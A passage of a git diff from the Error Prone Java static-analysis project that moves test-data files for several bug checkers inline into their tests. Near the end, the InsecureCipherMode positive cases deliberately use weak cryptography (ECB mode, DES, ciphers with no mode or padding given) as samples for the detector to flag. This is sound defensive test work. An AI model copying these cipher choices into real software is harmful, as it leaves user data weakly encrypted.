IllegalAccessException { + Preconditions.checkNotNull(getFuture()); + Preconditions.checkNotNull(new Object()); + FutureReturnValueIgnoredNegativeCases.class.getDeclaredMethod("preconditions").invoke(null); + } + + static void checkIgnore() { + getFutureIgnore(); + } + + void ignoreForkJoinTaskFork(ForkJoinTask t) { + t.fork(); + } + + void ignoreForkJoinTaskFork_subclass(RecursiveAction t) { + t.fork(); + } + + void ignoreExecutorCompletionServiceSubmit(ExecutorCompletionService s) { + s.submit(() -> null); + } + + void ignoreChannelFutureAddListener(ChannelFuture cf) { + cf.addListener((ChannelFuture f) -> {}); + } + + void ignoreChannelFutureAddListeners(ChannelFuture cf) { + cf.addListeners((ChannelFuture f) -> {}, (ChannelFuture f) -> {}); + } + + ListenableFuture ignoreVarArgs( + Callable combiner, Executor executor, ListenableFuture... futures) { + return combine(combiner, executor, Arrays.asList(futures)); + } + + public static ListenableFuture combine( + final Callable combiner, + Executor executor, + Iterable> futures) { + return null; + } + + private static final class TypedClass { + ListenableFuture ignoreReturnTypeSetByInputFuture(T input) { + return returnsInputType(logAsyncInternal(input), 0); + } + + protected ListenableFuture logAsyncInternal(T record) { + return null; + } + + ListenableFuture returnsInputType(ListenableFuture future, final int n) { + return null; + } + } + + public static class RetryingFuture extends AbstractFuture { + + /** + * Enables the user to receive notifications about state changes of a retrying future, and use + * them e.g. for logging. + */ + public interface Interceptor {} + + /** Creates a builder for {@link RetryingFuture} instances. */ + public static Builder builder() { + return new Builder<>(); + } + + /** A builder for {@link RetryingFuture} instances. */ + public static final class Builder { + + private Builder() {} + + /** Sets the {@link Executor} in which all tries and retries are performed. */ + @CanIgnoreReturnValue + public Builder setExecutor(Executor executor) { + return this; + } + + /** + * Sets the {@link ScheduledExecutorService} used for scheduling retries after delay. It will + * also be used for tries and retries if {@link #setExecutor(Executor)} is not called. + */ + @CanIgnoreReturnValue + public Builder setScheduledExecutorService( + ScheduledExecutorService scheduledExecutorService) { + return this; + } + + public Builder setInterceptor(Interceptor interceptor) { + // Safely limiting the kinds of RetryingFutures this builder can produce, + // based on the type of the interceptor. + @SuppressWarnings("unchecked") + Builder me = (Builder) this; + return me; + } + + public Builder setTicker(Ticker ticker) { + return this; + } + + public RetryingFuture build( + Supplier> futureSupplier, + Predicate shouldContinue) { + return new RetryingFuture( + futureSupplier, + null, + shouldContinue, + null, + // We need to maintain Java 7 compatibility + null, + null, + null); + } + + public RetryingFuture build( + Supplier> futureSupplier, + Object strategy, + Predicate shouldContinue) { + return new RetryingFuture( + futureSupplier, + strategy, + shouldContinue, + null, + // We need to maintain Java 7 compatibility + null, + null, + null); + } + } + + RetryingFuture( + Supplier> futureSupplier, + Object strategy, + Predicate shouldContinue, + Executor executor, + ScheduledExecutorService scheduledExecutorService, + Ticker ticker, + final Interceptor interceptor) {} + + public static RetryingFuture retryingFuture( + Supplier> futureSupplier, + Object strategy, + Predicate shouldContinue, + Executor executor, + Interceptor interceptor) { + return builder() + .setInterceptor(interceptor) + .setExecutor(executor) + .build(futureSupplier, strategy, shouldContinue); + } + } + + private static class TypedObject { + public ListenableFuture transformAndClose( + Function function, Executor executor) { + return null; + } + + public ListenableFuture close() { + return transformAndClose(Functions.identity(), directExecutor()); + } + } + + private static void mocking() { + doAnswer(invocation -> immediateFuture(null)).when(null); + doAnswer( + invocation -> { + return immediateFuture(null); + }) + .when(null); + doAnswer( + new Answer() { + @Override + public Object answer(InvocationOnMock mock) { + return immediateFuture(null); + } + }) + .when(null); + } + + private static void throwing() { + assertThrows(RuntimeException.class, () -> immediateFuture(null)); + assertThrows( + RuntimeException.class, + () -> { + immediateFuture(null); + }); + assertThrows( + RuntimeException.class, + new ThrowingRunnable() { + @Override + public void run() throws Throwable { + immediateFuture(null); + } + }); + } + + private static AsyncFunction provideAsyncFunction() { + return Futures::immediateFuture; + } + + private static Runnable provideNonFutureInterface() { + return new FutureTask(null); + } + + private static void invocation() { + new AbstractInvocationHandler() { + @Override + protected Object handleInvocation(Object o, Method method, Object[] params) { + return immediateFuture(null); + } + }; + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FuturesGetCheckedIllegalExceptionTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FuturesGetCheckedIllegalExceptionTypeTest.java index 8ac7c995d75..e2dc3bcad25 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FuturesGetCheckedIllegalExceptionTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FuturesGetCheckedIllegalExceptionTypeTest.java @@ -28,14 +28,126 @@ public class FuturesGetCheckedIllegalExceptionTypeTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/FuturesGetCheckedIllegalExceptionTypePositiveCases.java") + .addSourceLines( + "FuturesGetCheckedIllegalExceptionTypePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.util.concurrent.Futures.getChecked; +import static java.util.concurrent.TimeUnit.SECONDS; + +import java.util.concurrent.Future; + +/** Positive cases for {@link FuturesGetCheckedIllegalExceptionType}. */ +public class FuturesGetCheckedIllegalExceptionTypePositiveCases { + void runtime( + Future future, Class c1, Class c2) throws Exception { + // BUG: Diagnostic contains: getUnchecked(future) + getChecked(future, RuntimeException.class); + // BUG: Diagnostic contains: getUnchecked(future) + getChecked(future, IllegalArgumentException.class); + // BUG: Diagnostic contains: getUnchecked(future) + getChecked(future, RuntimeException.class, 0, SECONDS); + // BUG: Diagnostic contains: getUnchecked(future) + getChecked(future, c1); + // BUG: Diagnostic contains: getUnchecked(future) + getChecked(future, c2); + } + + void visibility(Future future) throws Exception { + // BUG: Diagnostic contains: parameters + getChecked(future, PrivateConstructorException.class); + // BUG: Diagnostic contains: parameters + getChecked(future, PackagePrivateConstructorException.class); + // BUG: Diagnostic contains: parameters + getChecked(future, ProtectedConstructorException.class); + } + + void parameters(Future future) throws Exception { + // BUG: Diagnostic contains: parameters + getChecked(future, OtherParameterTypeException.class); + // TODO(cpovirk): Consider a specialized error message if inner classes prove to be common. + // BUG: Diagnostic contains: parameters + getChecked(future, InnerClassWithExplicitConstructorException.class); + // BUG: Diagnostic contains: parameters + getChecked(future, InnerClassWithImplicitConstructorException.class); + } + + public static class PrivateConstructorException extends Exception { + private PrivateConstructorException() {} + } + + public static class PackagePrivateConstructorException extends Exception { + PackagePrivateConstructorException() {} + } + + public static class ProtectedConstructorException extends Exception { + protected ProtectedConstructorException() {} + } + + public class OtherParameterTypeException extends Exception { + public OtherParameterTypeException(int it) {} + } + + public class InnerClassWithExplicitConstructorException extends Exception { + public InnerClassWithExplicitConstructorException() {} + } + + public class InnerClassWithImplicitConstructorException extends Exception {} +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/FuturesGetCheckedIllegalExceptionTypeNegativeCases.java") + .addSourceLines( + "FuturesGetCheckedIllegalExceptionTypeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.util.concurrent.Futures.getChecked; +import static java.util.concurrent.TimeUnit.SECONDS; + +import java.io.IOException; +import java.util.concurrent.Future; + +/** Negative cases for {@link FuturesGetCheckedIllegalExceptionType}. */ +public class FuturesGetCheckedIllegalExceptionTypeNegativeCases { + void runtime(Future future, Class c1, Class c2) + throws Exception { + getChecked(future, Exception.class); + getChecked(future, Exception.class, 0, SECONDS); + getChecked(future, IOException.class); + // These might or might not be RuntimeExceptions. We can't prove it one way or the other. + getChecked(future, c1); + getChecked(future, c2); + getChecked(future, null); + } + + void constructor( + Future future, Class c1, Class c2) + throws Exception { + getChecked(future, StaticNestedWithExplicitConstructorException.class); + getChecked(future, StaticNestedWithImplicitConstructorException.class); + /* + * These might be ProtectedConstructorException, but they might be a subtype with a public + * constructor. + */ + getChecked(future, c1); + getChecked(future, c2); + } + + public static class StaticNestedWithExplicitConstructorException extends Exception { + public StaticNestedWithExplicitConstructorException() {} + } + + public static class StaticNestedWithImplicitConstructorException extends Exception {} + + public static class ProtectedConstructorException extends Exception { + protected ProtectedConstructorException() {} + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FuzzyEqualsShouldNotBeUsedInEqualsMethodTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FuzzyEqualsShouldNotBeUsedInEqualsMethodTest.java index 0e2dd754120..b8f58f6882e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FuzzyEqualsShouldNotBeUsedInEqualsMethodTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FuzzyEqualsShouldNotBeUsedInEqualsMethodTest.java @@ -32,14 +32,68 @@ public class FuzzyEqualsShouldNotBeUsedInEqualsMethodTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java") + .addSourceLines( + "FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.math.DoubleMath; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases { + + public boolean equals(Object o) { + // BUG: Diagnostic contains: DoubleMath.fuzzyEquals should never + DoubleMath.fuzzyEquals(0.2, 9.3, 2.0); + return true; + } + + private class TestClass { + + public boolean equals(Object other) { + double x = 0, y = 0, z = 0; + // BUG: Diagnostic contains: DoubleMath.fuzzyEquals should never + return DoubleMath.fuzzyEquals(x, y, z); + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java") + .addSourceLines( + "FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.math.DoubleMath; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases { + public boolean equals() { + return true; + } + + private static class TestClass { + public void test() { + boolean t = DoubleMath.fuzzyEquals(0, 2, 0.3); + } + + public boolean equals(Object other) { + return true; + } + + public boolean equals(Object other, double a) { + return DoubleMath.fuzzyEquals(0, 1, 0.2); + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/GetClassOnClassTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/GetClassOnClassTest.java index ebc45837c59..815375bf824 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/GetClassOnClassTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/GetClassOnClassTest.java @@ -32,11 +32,66 @@ public class GetClassOnClassTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/GetClassOnClassPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "GetClassOnClassPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author chy@google.com (Christine Yang) + * @author kmuhlrad@google.com (Katy Muhlrad) + */ + public class GetClassOnClassPositiveCases { + + public void getClassOnClass(Class clazz) { + // BUG: Diagnostic contains: clazz.getName() + System.out.println(clazz.getClass().getName()); + } + + public void getClassOnClass2() { + String s = "hi"; + // BUG: Diagnostic contains: s.getClass().getName() + s.getClass().getClass().getName(); + } + + public void getClassOnClass3() { + // BUG: Diagnostic contains: String.class.getName() + System.out.println(String.class.getClass().getName()); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/GetClassOnClassNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "GetClassOnClassNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author chy@google.com (Christine Yang) + * @author kmuhlrad@google.com (Katy Muhlrad) + */ + public class GetClassOnClassNegativeCases { + + public void getClassOnClass(Object obj) { + System.out.println(obj.getClass().getName()); + } + + public void getClassOnClass2() { + String s = "hi"; + DummyObject.getClass(s); + } + + public static class DummyObject { + public static boolean getClass(Object a) { + return true; + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/HidingFieldTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/HidingFieldTest.java index 7fc05ff890a..3daa3f6abaf 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/HidingFieldTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/HidingFieldTest.java @@ -37,13 +37,148 @@ public void setUp() { @Test public void hidingFieldPositiveCases() { compilationHelper - .addSourceFile("testdata/HidingFieldPositiveCases1.java") - .addSourceFile("testdata/HidingFieldPositiveCases2.java") + .addSourceLines( + "HidingFieldPositiveCases1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author sulku@google.com (Marsela Sulku) + * @author mariasam@google.com (Maria Sam) + */ +public class HidingFieldPositiveCases1 { + + /** base class */ + public static class ClassA { + protected String varOne; + public int varTwo; + String varThree; + } + + /** ClassB has a field with the same name as one in its parent. */ + public static class ClassB extends ClassA { + // BUG: Diagnostic contains: superclass: ClassA + private String varOne = "Test"; + } + + /** ClassC has a field with the same name as one in its grandparent. */ + public static class ClassC extends ClassB { + // BUG: Diagnostic contains: superclass: ClassA + public int varTwo; + } + + /** + * ClassD has multiple fields with the same name as those in its grandparent, as well as other + * unrelated members. + */ + public static class ClassD extends ClassB { + // BUG: Diagnostic contains: superclass: ClassA + protected int varThree; + // BUG: Diagnostic contains: superclass: ClassA + int varTwo; + String randOne; + String randTwo; + } + + /** ClassE has same variable name as grandparent */ + public static class ClassE extends ClassC { + // BUG: Diagnostic contains: superclass: ClassC + public String varTwo; + } + + public static class ClassF extends ClassA { + @SuppressWarnings("HidingField") // no warning because it's suppressed + public String varThree; + } + + public static class ClassG extends ClassF { + // BUG: Diagnostic contains: superclass: ClassF + String varThree; + } +}""") + .addSourceLines( + "HidingFieldPositiveCases2.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author sulku@google.com (Marsela Sulku) + * @author mariasam@google.com (Maria Sam) + */ +public class HidingFieldPositiveCases2 { + + /** + * ClassA extends a class from a different file and ClassA has a member with the same name as its + * parent + */ + public class ClassA extends HidingFieldPositiveCases1.ClassB { + // BUG: Diagnostic contains: superclass: ClassA + private int varTwo; + } + + /** + * ClassB extends a class from a different file and ClassB has a member with the same name as its + * grandparent + */ + public class ClassB extends HidingFieldPositiveCases1.ClassB { + // BUG: Diagnostic contains: superclass: ClassA + public int varOne = 2; + } +}""") .doTest(); } @Test public void hidingFieldNegativeCases() { - compilationHelper.addSourceFile("testdata/HidingFieldNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "HidingFieldNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author sulku@google.com (Marsela Sulku) + * @author mariasam@google.com (Maria Sam) + */ +public class HidingFieldNegativeCases { + // base class + static class ClassA { + public int varOne; + } + + // subclass with member variables of different names + static class ClassB extends ClassA { + private String varTwo; + private int varThree; + public static int varFour; + public int varFive; + } + + // subclass with initialized member variable of different name + static class ClassC extends ClassB { + // publicly-visible static members in superclasses are pretty uncommon, and generally + // referred to by qualification, so this 'override' is OK + private String varFour = "Test"; + + // The supertype's visibility is private, so this redeclaration is OK. + private int varThree; + + // warning suppressed when overshadowing variable in parent + @SuppressWarnings("HidingField") + public int varFive; + + // warning suppressed when overshadowing variable in grandparent + @SuppressWarnings("HidingField") + public int varOne; + } + + // subclass with member *methods* with the same name as superclass member variable -- this is ok + static class ClassD extends ClassC { + public void varThree() {} + + public void varTwo() {} + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ImplementAssertionWithChainingTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ImplementAssertionWithChainingTest.java index 65ac37be1ae..488012b49c9 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ImplementAssertionWithChainingTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ImplementAssertionWithChainingTest.java @@ -32,14 +32,173 @@ public class ImplementAssertionWithChainingTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ImplementAssertionWithChainingPositiveCases.java") + .addSourceLines( + "ImplementAssertionWithChainingPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.truth.FailureMetadata; +import com.google.common.truth.Subject; + +/** + * @author cpovirk@google.com (Chris Povirk) + */ +public class ImplementAssertionWithChainingPositiveCases { + static final class FooSubject extends Subject { + private final Foo actual; + + private FooSubject(FailureMetadata metadata, Foo actual) { + super(metadata, actual); + this.actual = actual; + } + + void hasString(String expected) { + // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) + if (!actual.string().equals(expected)) { + failWithActual("expected to have string", expected); + } + } + + void hasStringGuavaObjectsEqual(String expected) { + // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) + if (!com.google.common.base.Objects.equal(actual.string(), expected)) { + failWithActual("expected to have string", expected); + } + } + + void hasStringJavaObjectsEquals(String expected) { + // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) + if (!java.util.Objects.equals(actual.string(), expected)) { + failWithActual("expected to have string", expected); + } + } + + void hasInteger(int expected) { + // BUG: Diagnostic contains: check("integer()").that(actual.integer()).isEqualTo(expected) + if (actual.integer() != expected) { + failWithActual("expected to have integer", expected); + } + } + + void hasKind(Kind expected) { + // BUG: Diagnostic contains: check("kind()").that(actual.kind()).isEqualTo(expected) + if (actual.kind() != expected) { + failWithActual("expected to have kind", expected); + } + } + + void hasOtherFooInteger(int expected) { + // BUG: Diagnostic contains: + // check("otherFoo().integer()").that(actual.otherFoo().integer()).isEqualTo(expected) + if (actual.otherFoo().integer() != expected) { + failWithActual("expected to have other foo with integer", expected); + } + } + } + + private static final class Foo { + final String string; + final int integer; + final Kind kind; + + Foo(String string, int integer, Kind kind) { + this.string = string; + this.integer = integer; + this.kind = kind; + } + + String string() { + return string; + } + + int integer() { + return integer; + } + + Kind kind() { + return kind; + } + + Foo otherFoo() { + return this; + } + } + + private enum Kind {} +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ImplementAssertionWithChainingNegativeCases.java") + .addSourceLines( + "ImplementAssertionWithChainingNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.truth.FailureMetadata; + import com.google.common.truth.Subject; + + /** + * @author cpovirk@google.com (Chris Povirk) + */ + public class ImplementAssertionWithChainingNegativeCases { + static final class FooSubject extends Subject { + private final Foo actual; + + private FooSubject(FailureMetadata metadata, Foo actual) { + super(metadata, actual); + this.actual = actual; + } + + void doesNotHaveString(String other) { + if (actual.string().equals(other)) { + failWithActual("expected not to have string", other); + } + } + + void doesNotHaveInteger(int other) { + if (actual.integer() == other) { + failWithActual("expected not to have integer", other); + } + } + + void hasBoxedIntegerSameInstance(Integer expected) { + if (actual.boxedInteger() != expected) { + failWithActual("expected to have boxed integer", expected); + } + } + } + + private static final class Foo { + final String string; + final int integer; + final Integer boxedInteger; + + Foo(String string, int integer, Integer boxedInteger) { + this.string = string; + this.integer = integer; + this.boxedInteger = boxedInteger; + } + + String string() { + return string; + } + + int integer() { + return integer; + } + + Integer boxedInteger() { + return boxedInteger; + } + + Foo otherFoo() { + return this; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/InconsistentCapitalizationTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/InconsistentCapitalizationTest.java index 10632ce9b86..c0460ceb5ed 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/InconsistentCapitalizationTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/InconsistentCapitalizationTest.java @@ -34,7 +34,167 @@ public class InconsistentCapitalizationTest { @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/InconsistentCapitalizationNegativeCases.java") + .addSourceLines( + "InconsistentCapitalizationNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** Negative cases for {@link com.google.errorprone.bugpatterns.InconsistentCapitalizationTest}. */ +public class InconsistentCapitalizationNegativeCases { + + public void doesntConflictWithOtherVariables() { + int aa; + int aA; + } + + public void doesntConflictWithVariableOutOfScope() { + if (true) { + int a; + } + if (true) { + int a; + } + } + + public void doesntConflictBetweenForVariables() { + for (int i = 0; i < 1; i++) {} + + for (int i = 0; i < 1; i++) {} + } + + private class DoesntConflictBetweenMethods { + int a; + + void a() {} + + void b(int baba) { + int c = baba; + if (c == baba) {} + } + + void c() { + int c; + } + } + + private static class DoesntConflictWithClass { + + static int B; + + static class A { + + static int A; + } + + class B {} + } + + private static class DoesAllowUpperCaseStaticVariable { + + static int A; + + void method() { + int a; + } + } + + private enum DoesntConflictWithUpperCaseEnum { + TEST; + + private Object test; + } + + public void doesntConflictWithMethodParameter(long aa) { + int aA; + } + + private class DoesntConflictWithConstructorParameter { + + DoesntConflictWithConstructorParameter(Object aa) { + Object aA; + } + } + + private class DoesntConflictOutOfScope { + + class A { + private Object aaa; + private Object aab; + } + + class B { + private Object aaA; + + void method(String aaB) { + char aAb; + } + } + } + + private static class DoesntReplaceMember { + + class A { + Object aa; + Object ab; + + void method() { + B b = new B(); + aa = b.aA; + ab = b.aB.aA; + new B().aA(); + aa.equals(ab); + aa.equals(b.aB.aA); + aa.equals(b.aB); + } + } + + class B { + Object aA; + C aB = new C(); + + void aA() {} + } + + class C { + Object aA; + } + } + + class DoesntConflictWithNested { + Object aa; + Object ab; + + class Nested { + Object aB; + + Nested(Object aa) { + DoesntConflictWithNested.this.aa = aa; + } + + class Nested2 { + Object aB; + + Nested2(Object aa) { + DoesntConflictWithNested.this.aa = aa; + } + } + } + } + + static class DoesntFixExternalParentClassFieldMatch { + + static class Parent { + Object aa; + } + + static class Child extends Parent { + + Child(Object aA) { + aa = aA; + } + } + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java index d1f421e3812..3ebfd20f143 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java @@ -37,14 +37,165 @@ public void setup() { @Test public void positiveCases() { compilationTestHelper - .addSourceFile("testdata/IncrementInForLoopAndHeaderPositiveCases.java") + .addSourceLines( + "IncrementInForLoopAndHeaderPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + */ + public class IncrementInForLoopAndHeaderPositiveCases { + + public void basicTest() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) { + i++; + } + } + + public void decrement() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) { + i--; + } + } + + public void preInc() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) { + --i; + } + } + + public void multipleStatements() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) { + --i; + int a = 0; + } + } + + public void multipleUpdates() { + // BUG: Diagnostic contains: increment + for (int i = 0, a = 1; i < 10; i++, a++) { + a++; + } + } + + public void multipleUpdatesOtherVar() { + // BUG: Diagnostic contains: increment + for (int i = 0, a = 1; i < 10; i++, a++) { + i++; + } + } + + public void multipleUpdatesBothVars() { + // BUG: Diagnostic contains: increment + for (int i = 0, a = 1; i < 10; i++, a++) { + a++; + i++; + } + } + + public void nestedFor() { + for (int i = 0; i < 10; i++) { + // BUG: Diagnostic contains: increment + for (int a = 0; a < 10; a++) { + a--; + } + } + } + + public void nestedForBoth() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) { + i++; + // BUG: Diagnostic contains: increment + for (int a = 0; a < 10; a++) { + a--; + } + } + } + + public void expressionStatement() { + // BUG: Diagnostic contains: increment + for (int i = 0; i < 10; i++) i++; + } + }""") .doTest(); } @Test public void negativeCases() { compilationTestHelper - .addSourceFile("testdata/IncrementInForLoopAndHeaderNegativeCases.java") + .addSourceLines( + "IncrementInForLoopAndHeaderNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.List; + + /** Created by mariasam on 7/20/17. */ + public class IncrementInForLoopAndHeaderNegativeCases { + + public void arrayInc() { + for (int[] level = {}; level[0] > 10; level[0]--) { + System.out.println("test"); + } + } + + public void emptyForLoop() { + for (int i = 0; i < 2; i++) {} + } + + public void inIf() { + for (int i = 0; i < 20; i++) { + if (i == 7) { + i++; + } + } + } + + public void inWhile() { + for (int i = 0; i < 20; i++) { + while (i == 7) { + i++; + } + } + } + + public void inDoWhile() { + for (int i = 0; i < 20; i++) { + do { + i++; + } while (i == 7); + } + } + + public void inFor() { + for (int i = 0; i < 20; i++) { + for (int a = 0; a < i; a++) { + i++; + } + } + } + + public void inForEach(List list) { + for (int i = 0; i < 10; i++) { + for (String s : list) { + i++; + } + } + } + + public void otherVarInc() { + for (int i = 0; i < 2; i++) { + int a = 0; + a++; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/InsecureCipherModeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/InsecureCipherModeTest.java index 603af4e544a..0c0cbfaa347 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/InsecureCipherModeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/InsecureCipherModeTest.java @@ -31,11 +31,386 @@ public class InsecureCipherModeTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/InsecureCipherModePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "InsecureCipherModePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.security.KeyFactory; +import java.security.KeyPairGenerator; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import javax.crypto.Cipher; +import javax.crypto.KeyAgreement; +import javax.crypto.NoSuchPaddingException; + +/** + * @author avenet@google.com (Arnaud J. Venet) + */ +public class InsecureCipherModePositiveCases { + static Cipher defaultAesCipher; + + static { + try { + // BUG: Diagnostic contains: the mode and padding must be explicitly specified + defaultAesCipher = Cipher.getInstance("AES"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher defaultRsaCipher; + + static { + try { + // BUG: Diagnostic contains: the mode and padding must be explicitly specified + defaultRsaCipher = Cipher.getInstance("RSA"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static final String AES_STRING = "AES"; + static Cipher defaultAesCipherWithConstantString; + + static { + try { + // BUG: Diagnostic contains: the mode and padding must be explicitly specified + defaultAesCipherWithConstantString = Cipher.getInstance(AES_STRING); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher explicitAesCipher; + + static { + try { + // BUG: Diagnostic contains: ECB mode must not be used + explicitAesCipher = Cipher.getInstance("AES/ECB/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher explicitDesCipher; + + static { + try { + // BUG: Diagnostic contains: ECB mode must not be used + explicitDesCipher = Cipher.getInstance("DES/ECB/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher explicitDesCipherWithProvider; + + static { + try { + // BUG: Diagnostic contains: ECB mode must not be used + explicitDesCipherWithProvider = Cipher.getInstance("DES/ECB/NoPadding", "My Provider"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchProviderException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static String transformation; + + static { + try { + transformation = "DES/CBC/NoPadding"; + // BUG: Diagnostic contains: the transformation is not a compile-time constant + Cipher cipher = Cipher.getInstance(transformation); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static void transformationAsParameter(String transformation) { + try { + // BUG: Diagnostic contains: the transformation is not a compile-time constant + Cipher cipher = Cipher.getInstance(transformation); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + class CipherWrapper { + Cipher cipher; + + // Make sure that the checker is enabled inside constructors. + public CipherWrapper() { + try { + // BUG: Diagnostic contains: the mode and padding must be explicitly specified + cipher = Cipher.getInstance("AES"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + } + + static Cipher complexCipher1; + + static { + try { + String algorithm = "AES"; + // BUG: Diagnostic contains: the transformation is not a compile-time constant + complexCipher1 = Cipher.getInstance(algorithm); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher complexCipher2; + + static { + try { + String transformation = "AES"; + transformation += "/ECB"; + transformation += "/NoPadding"; + // BUG: Diagnostic contains: the transformation is not a compile-time constant + complexCipher2 = 